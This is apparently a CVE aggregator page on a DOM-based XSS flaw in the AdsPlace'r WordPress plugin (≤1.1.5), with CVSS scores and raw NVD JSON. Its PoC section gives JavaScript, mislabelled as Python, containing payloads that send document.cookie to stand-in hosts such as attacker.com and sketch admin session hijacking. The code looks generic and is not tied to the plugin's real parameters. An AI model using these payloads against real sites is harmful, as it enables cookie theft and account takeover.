Security Vulnerability Report
中文
CVE-2024-31088 CVSS 6.5 MEDIUM

CVE-2024-31088

Published: 2026-01-06 17:15:43
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in WPShop.Ru AdsPlace'r – Ad Manager, Inserter, AdSense Ads allows DOM-Based XSS.This issue affects AdsPlace'r – Ad Manager, Inserter, AdSense Ads: from n/a through 1.1.5.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

AdsPlace'r WordPress插件 <= 1.1.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// DOM-based XSS PoC for CVE-2024-31088 // Target: AdsPlace'r WordPress Plugin <= 1.1.5 // Malicious URL that triggers the XSS vulnerability const maliciousURL = 'https://vulnerable-site.com/?ad_id=<img src=x onerror=alert(document.cookie)>'; // Or using script tag const maliciousURL2 = 'https://vulnerable-site.com/?ad_id=<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // JavaScript payload that could be injected const payload = ` <img src=x onerror=" // Steal session cookies fetch('https://attacker-controlled-server.com/log?cookie=' + btoa(document.cookie)); // Or perform actions on behalf of the user fetch('https://vulnerable-site.com/wp-admin/admin-ajax.php', { method: 'POST', body: 'action=adsplacer_get_stats&user_id=' + document.cookie }); "> `; // Example attack scenario: // 1. Attacker creates a malicious URL with XSS payload // 2. Lures WordPress admin to click the link // 3. Admin's browser executes the malicious script // 4. Attacker steals admin session cookie // 5. Attacker hijacks admin account console.log('PoC for CVE-2024-31088: DOM-based XSS in AdsPlace'r plugin');

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-31088", "sourceIdentifier": "[email protected]", "published": "2026-01-06T17:15:43.470", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in WPShop.Ru AdsPlace'r – Ad Manager, Inserter, AdSense Ads allows DOM-Based XSS.This issue affects AdsPlace'r – Ad Manager, Inserter, AdSense Ads: from n/a through 1.1.5."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web (XSS o 'cross-site scripting') vulnerabilidad en WPShop.Ru AdsPlace'r – Ad Manager, Inserter, AdSense Ads permite XSS basado en DOM. Este problema afecta a AdsPlace'r – Ad Manager, Inserter, AdSense Ads: desde n/a hasta 1.1.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/adsplacer/vulnerability/wordpress-adsplace-r-ad-manager-inserter-adsense-ads-plugin-1-1-5-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}